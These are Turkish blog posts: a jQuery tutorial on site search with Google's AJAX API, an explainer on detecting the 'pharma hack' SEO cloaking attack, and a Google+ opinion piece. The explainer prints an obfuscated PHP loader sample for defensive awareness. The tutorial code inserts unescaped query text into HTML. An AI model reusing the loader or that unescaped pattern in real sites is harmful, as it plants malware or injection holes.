14 Ağustos Salı ´12   —   4 Yorum
Eğer bir kaynak arıyorsanız, indexlerin güncelliği, genişliği gibi nedenlerden dolayı, diğer arama motorları yerine Google'ı tercih etmek, iyi bir karar olarak düşünülebilir. Yaptığınız Google aramalarını programatik olarak yapmak ve sonuçları herhangi bir şekilde kullanmanın sayısız örneği verilebilir.

Örneğin, sayfanıza site içi arama eklemek istiyorsunuz. Sayfanıza ait içeriği eğer Google zaten tarıyorsa, site içi aramanız aslında basit bir Google araması ile yapılabilir. Biliyorsunuz Google'da "site:mfyz.com" şeklinde arama yapılacak domaini filtreleyebiliyorsunuz. Dolayısıyla site içi aramanızı, herhangi bir algoritma yazmaya gerek kalmadan, hatta sadece tarayıcıda javascript ile yapabilirsiniz.

Google'un istemci altyapıları için sunduğu JSON tabanlı bir arama APIsi var. Bu api sayesinde normal bir Google araması yapabiliyorsunuz.

Bu API'yi basit bir HTTP isteği ile kullanabiliyorsunuz. Herhangi bir Google araması yapıyormuş gibi bir sorgu gönderip cevabını json olarak alıp işleyebiliyorsunuz.
http://ajax.googleapis.com/ajax/services/search/web?v=1.0
Aramanızı bu URL'e gerekli parametreleri ekleyerek yaptığınızda Google en fazla 8 sonuç verecek şekilde dönüyor.

Cevap olarak dönen JSON içeriği uzun olduğu için burada göstermeyeceğim. Ama birkaç parametreyle gelen sonuç kümesini kullanabilir, sayfalama ve sonuç boyutu gibi parametreler ile sayfalama yapabilirsiniz.

Asıl kullanacağınız sonuç değeri, arama sonuçlarının bulunduğu response.responseData.results sonuç kümesi olacaktır. Basit bir nesne dizisi olan bu değeri javascript ile ekrana doğrudan basabilir veya sunucu taraflı bir kod ile işleyebilirsiniz.

Google bu API ile tek istekte en fazla 8 sonuç döndürüyor. Nedenini kesin bir şekilde bilmiyorum fakat güvenlik nedeniyle olduğunu tahmin ediyorum. Eğer 8'den fazla sonuç göstermek istiyorsanız birden fazla api çağrısı yapmak zorundasınız veya istemci tarafında sayfalama yaparak sonuçları sayfalama ile gösterebilirsiniz.

Sayfalama için API çağırısında göndereceğiniz start parametresi, arama sonuçlarının başlangıç sırasını belirtiyor. Eğer belirtilmezse geçerli değeri 0 olacaktır. Bundan sonra 8, 16, 24... şeklinde ikinci, üçüncü sayfaya ait sonuçları, ek çağrı yaparak yükleyebilirsiniz.

Burada kontrol etmeniz gereken tek şey, toplam bulunan sonuç kümenizde yeterli sonuç olup olmamasıdır. Yani eğer kullanıcı son sayfada ise "Sonraki Sayfa" linkini göstermemeniz gerekir. Basit bir sayfalama için;
toplam sayfa sayısı = toplam sonuç sayısı / sayfa başına düşen sonuç sayısı
bölümünün üste yuvarlanması ile bulunur. Bunu Google size toplam bulunan sonuç sayısını tahmini şekilde söylüyor.

Sonuç kümesindeki response.responseData.cursor.estimatedResultCount parametresi size sayısal olarak tahmini sonuç sayısını söyleyecektir. Sayfa sayısını hesaplayarak gerekli sayfalama navigasyonunu oluşturabilirsiniz.

Örneği kodlayalım

Yazının başlarında verdiğim site içi arama örneğini javascript ile kodlayalım. Doğrudan tüm kodu verip açıklayacağım.
<!doctype html>
<html>
<head>
    <title>Page</title>
	<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.2.min.js"></script>
</head>
<body>
	<input type="text" placeholder="Search" id="searchInput" />
	<input type="button" value="Search" id="searchButton" />

	<ul id="searchResultsList"></ul>
</body>
</html>
HTML tarafında ihtiyacınız olan iki ana parça, arama formu ve sonuçları listeleyeceğiniz bir tablo veya liste.

Javascript tarafını jQuery kullanarak yazarak HTTP çağrısını, JSON sonucunu işleme, html elemanlarını yönetme gibi birçok kısmı kolayca halledebilirsiniz.

İlk yapmamız gereken şey arama formundan arama sorgusunu yakalamak ve arama butonundaki tıklama hareketini yakalamak olacak. Bunun için butonun tıklama olayını yakalayıp text alanının içeriğini alıyoruz.
$(function(){
    $('#searchButton').click(function(){
	    search();
    });
});

function search(){
	query = $('#searchInput').val();

	$('#searchResultsList').html('<li class="loading"><span>Aranıyor... (Google Search)</span></li>');

	loadResults(query, 0);
}
Google'un arama APIsini basit bir HTTP isteği ile kullanacağımızı söylemiştim, sonuç bir json nesnesi olduğu için jQuery'nin http istek yardımcı methodlarından getJSON methodunu kullanarak hem isteği yönetebilir hem de cevabı işleyebiliriz.
function loadResults(query, start){
    var apiURL = 'http://ajax.googleapis.com/ajax/services/search/web?v=1.0&callback=?';
    $.getJSON(apiURL, {
	    q: query + ' site:mfyz.com',
	    rsz: 8,
	    start: start
    }, function(response){
	    var results = response.responseData.results;

	    $('#searchResultsList .nextPage, #searchResultsList .loading').remove();
	    resultsHTML = '';

	    if(results.length){
		    for(var i=0; i < results.length; i++){
			    r = results[i];

			    resultsHTML += '<li><a href="' + r.unescapedUrl +
				    '"><span class="title">' + r.title +
				    '</span><span class="preview">' + r.content +
				    '</span></a></li>';
		    }

		    if (response.responseData.cursor.estimatedResultCount > 8) {
			    resultsHTML += '<li class="nextPage"><a href="#" ' +
				    'onclick="loadResults(\'' + query + '\', ' + (start + 8) +
				    ');">Daha fazla sonuç göster</a></li>';
		    }
	    }
	    else {
			//resultsHTML = '<li class="notfound">Aradığınız kriterde içerik bulunamadı.</li>';
	    }

	    $('#searchResultsList').append(resultsHTML);
    });
}
Yukarıdaki javascript methodu basit bir HTTP çağrısı yapıp gelen json cevabını işliyor. Basitçe bir liste elemanı (ul) içeriği oluşturuyoruz. Gelen sonuç dizisini bir HTML koduna dönüştürüyoruz. Methodun sonunda ise oluşturulan HTML kodunu liste elemanınımıza ekliyoruz.

Bu methodda gördüğünüzü ilk parametre, arama formundan gelen arama sorgusu, ikinci parametre ise, sayfalama için Google APIsine gönderilecek olan sonuç başlangıç indeksi. Bu sayede bu fonksiyonu tekrar çağırarak ikinci, üçüncü ve diğer sayfalardaki arama sonuçlarını yükletebiliyoruz. İlk arama yapılırken yani yukarıda ilk verdiğim javascript kodunda çağırılan arama methodu "0" başlangıç parametresi ile çağrılıyor.

Bu methodda dikkatinizi çekmiş olan bir nokta da arama parametresin sonuna "site:mfyz.com" eklemiş olmam. Sorguya eklenen bu kısım, yapılan aramanın sonuçlarında sadece o domain'deki sayfaları döndürmesini sağlayacaktır.

Yukarıdaki HTML çıktısını CSS ile işleyebilirsiniz veya arama formunu "ara" butonu ile değil eş zamanlı arama gibi her tuşa basıldığında belirli bir zaman aşımı ile girilen kelimeyi yakalayıp arama yapabilirsiniz.
7 Haziran Perşembe ´12   —   5 Yorum
Site içi arama, mfyz.com'un öneki sürümlerinde vardı fakat son iki sürümde kaldırmıştım bu özelliği. Daha doğrusu tekrar yazmam gerekiyordu fakat zaman bulup tekrardan yazamamıştım.

Tepedeki navigasyonun sağ kısmını yani üye işlemleriyle ilgili kısmını daha da ufaltarak arama kutusu koydum. Tıkarsanız kutu büyüyecek ve yazdığınız sorguya göre anlık arama yapacak sitede. Bunun için google ajax api'lerini kullandım ve basit bir javascript sonucunda anlık arama sağlayabiliyorum artık.

Genellikle döküman ve forum konuları sonuçları bulsa da sitede aradığınız birşeyi bulma konusunda çok yardımı dokunacaktır diye düşünüyorum.

Siz de sitenize buna benzer bir live search koymak isterseniz, google Ajax api ile web veya görsel araması gibi işlemler için çok güzel hazırlanmış bir jquery örneği var, ekteki linke tıkalayarak örneği inceleyebilirsiniz.

http://tutorialzine.com/2010/09/google-powered-sit......ax-jquery/

Pharma hack nedir?

Pharma hack bır çeşit SEO saldırısıdır. Asıl adı Google Cloaking Hack'dır. Sitenizi html çıktısını kullanıcıya göre manipüle etmek üzerine kuruludur. Pharma hack adını genellikle internette cinsel sağlık ürünleri veya besin takviyesi satan şirketlerin bu hack ile trafik kazanmaya çalışmasından almıştır. Yani bu hack sadece sitenizin arama motoru trafiğini kesmez. Tabi siz analitics yazılımlarda bir trafik kaybı görmezsiniz. Sadece bounce rate'iniz her gün yükselir ve dış trafiğiniz artar. Bu da pagerank'ınızı kaybetmeninizi sağlayabilir.

Büyük tehlike ise sitenizin sansürlenmesi. Türkiye'de son dönemde birçok sitenin/blogun sansürlerden dolayı engellendiğini görüyorsunuz. Bu filtreler genelde halka açık ortamlar, eğitim kurumları gibi alanlarda çok daha etkin. Yani zararsız bir siteye sahip olsanız bile bu hack ile MEB ve BTK'nın google indeksleri ile edindiği site bilgisi genelde cinsel sağlık ürünleri olacağı için muhtemelen siz o içeriğe sahip olmasanız bile okullar, internet cafe'ler gibi yerlerden otomatik olarak filtrelenmiş olacaksınız.

Nasıl oluyor?

Pharma hack sitenize doğrudan ziyaretle anlayamayacağınız bir saldırıdır. Siteniz doğrudan gelen ziyaretçilere normal çıktısını verir ve tarayıcıda doğrudan sitenize giren insanlar sitenizi görmeye devam ederler, böylece siz de anlamazsınız pharma hack altında olduğunuzu.

Ama arama motoru botları sitenizi taramaya çalıştığı zaman sitenizin hack kodu sitenizin sayfa başlığı, anahtar kelimeleri gibi meta etiketlerini değiştirip sayfa içeriğinde istedikleri anahtar kelimeleri de ekleyerek sitenizin çıktısını manipule eder. Böylece pagerank'ınızı kullanarak arama motorlarından gelen trafiğinizi çalarlar. Böylece sitenize ait tüm google indeksleri bir sonraki güncellemede o anahtar kelimeleri alır. Eğer siteniz yüksek page rankına sahipse o anahtar kelimelerde üst sıralarda çıkar ve kullanıcı linke tıkladıgı zaman sayfanızdaki ufak bir javascript kodu kullanıcıyı başka bir sunucuya yönlendirir. Arama motoru trafiğiniz yanlış içerikle sunulur ve kısaca arama motoru trafiğiniz başka bir siteye yönlendirilir.

Sitenizde pharma hack var mı?

Sitenizi sayfaları kontrol ederek pharma hack olup olmadığını anlayamazsınız. Birkaç yolu var;

1) Tarayıcınızın User Agent'ını GoogleBot olarak değiştirip sitenize girebilir, sayfalarınız öyle kontrol edebilirsiniz.

2) Google Webmaster Tools'a kayıt olup sitenizi ekleyip google botun sitenizi nasıl taradığını görebilirsiniz. Googlebot site sitenizin verdiği HTML çıktısını gösterecektir. Meta etiketlerinizi ve sayfa içeriğinizi kontrol edip fakrlı olup olmadığını görebilirsiniz.

Ne tür uygulamalarda yapıyorlar?

Benim gördüğüm örnekleri popüler php hostinglerde ya sunucu kontrolünü ele geçirdikten sonra tüm hesaplara ya da sadece sizin hesabınızı ele geçirdilerse sizin hesabınızda yapılan birkaç ufak php numarasıyla sayfalarınızı arama motoru botlarında farklı render etme üzerine kuruludur. Eğer bir wordpress bloguna veya joomla, drupal gibi bir CMS kullanıyorsanız muhtemel olarak tehlike altındasınız demektir çünkü ele geçirilmesi, gizlenmesi en kolay ve hackerların hedef kitlesidir.

Örnek bir pharma hack kodu göstermem gerekirse:
$check_tmg_password_reset_key = 'QN9Mrh7F=4?C!N^NP.NJ16YH6K66G=+BOeHeQ7D?A!"
CMD$JT,UTP@#3kSZ=j8;>?=B5$(v+}k~)tKkwz6puT|_P{-[11):V;Hblc<eyfau+Z4r29[dID2ThIY.E^A|AHcN@E-
woZPd'^'48X!Z(P<TZY/@:;f6G"/nQ<<i(YX3XE6<MjJ9X)ZnLD:7kE.9E;z=&ZIE05PEHZ
PZQmyMJY{5;*h8d;?*b19{,7 [email protected]#O-M<+l18*N[X,Z]FT+K96]$E+8] 
q

t{R`0+JUFsy_';

$make_ao_site_theme_from_oldschool = '"`E``e_Fe$"dai.'|'Are!t!Y tncT)oF'; $wp_rzc_newPage = $make_ao_site_theme_from_oldschool('',$check_tmg_password_reset_key); $wp_rzc_newPage();
Bu kod wordpress bloglar için özellikle yazılmış bir pharma hack kodu. Genelde sitenizde her sayfada çalıştırılan bir dosyada yer alırlar. (bootstrap.php, common.php, db.php vs...)


Hazırlayan : Mehmet Fatih YILDIZ
g+

Google plus buyuk bir sisirme ile release oldu herkes hesap aldi hicbir hareket olmadi, tam da bir google social network faili dememize ramak kalmisti ki hizli bir sekilde oyunlar sonra da marka sayfalarini acti, dolayisiyla oyun sirketleri oyunlarini google plus'a tasimaya, sirketler de markalari icin sayfalar uretmeye basladi.

Acikcasi birkac kere bilindik techcrunch, mashable ve birkac apple fan sitesinin accounlarini takip etme girisimim oldu ama hicbir zaman twitter veya facebook feedim gibi takip eder olmadim google plusu, hatta notificationlari cok dogru yerlestirmis olsalar dahi hic ilgimi cekmedi kosedeki 3-5 rakami google plus barindaki.

Sonuc olarak googel plus icin tek cikis yolu senaryom var ve bundan cok buyuk oranda eminim ki google bu konuda sadece dogru zamani bekliyor herkese sunmak icin. Bu yol da tabi ki gelistiricilere bir uygulama altyapisi sunmak, bakin facebook her gun oyuncak gibi apisini, app policy'lerini degistirip duruyorlar, kimse de gikini cikaramiyor buna ragmen her sitede like, comment butonlari, connect ile 1-click signup'lar goruyoruz. Nedeni ise uygulamalar icin bas agrisiz bir kullanici deneyimi sunmalarini saglayacak cok guzel bir arac sunuyorlar.

Google plus boyle bir altyapiyi sunsa facebook'dan cok cok cok daha guclu olacagina inaniyorum, cunku evet facebook veri sunuyor fakat veriyi sunma, gosterme vs konusunda bir arac degil, sadece veri kaynagi, su an populer cunku elindeki veri cok guvenilir yuksek oranda dogru ve tekil (fake accountlarin orani o kadar cok da degil)

Google'in harita, docs, takvim hatta gmail'e bile izinli erisim saglamasi akilalmaz uygulamalar gelisebilecegini gosteriyor bana. Ha insanlar bir parca yapiyor bunu zaten. Tabi senaryo bu kadar kolay ve parlak degil. Google nasil yapacagini bir sekilde cozmeli ve elindeki kisisel veriyi dogaltmanin yolunu bulmali. Kimse google'daki profillerini doldurmaya yeltenmiyor, dogru bilgi sunmaya calismiyor.
Eger google bu altyapi ile dogru bilgileri sunabilir hale gelirse facebook'a zor zamanlar yasatabilir tabi facebook'un sadece izleyici oldugunu varsayiyorum bu senaryoda :-)

Ne kadar cenemizi yorsak da popcorn'umuzu hazirlayip izlemek disinda yapabilecegimiz birsey yok.

Popüler Etiketler

iOS webkit web app app music google newsletter mail wireless chart api grafik wanda digital medya tebrik search ajax jquery open source lisans www subdomain redirect crossdomain startups less css css3 mysql mootools radio button switch social media sosyal html logo html5 object twitter statistics istatistik insanlar bootstrap javascript form input mobile developer php framework sql export tool macosx regex language development style share job ruffles facebook oyun apple laptop notebook network applications free link connect box opengraph fql optimization browsers support wordpress rss apache server plugin compile compiler windows linux on-the-fly pear mdb2 prepare execute injection konsol login ios iphone ipad app store store in-app purchase purchase verification integration storekit itunes connect itunes meta calendar blog ipucu cache htaccess kurulum nasıl signature imza svn subversion git version control deployment code subscription gimp player license örnek kod route router mod_rewrite generator db database service date diff zaman tarih portfolio doritos tytz js xml nedir mssql kitap query ie browser proje ui design pgsql mfyz table session cookie lifestream kontrol yapıları if while auth dokuman graph icon ikon download firefox banner parse widget terminal http optimizasyon analyse procedure xhtml select kampanya workspace osx xmlhttprequest assets pharma hack seo sitemap ubuntu internet ux coding textarea internet explorer screen spam url fstab ntfs howto phpstorm jetbrains ide editor icons cms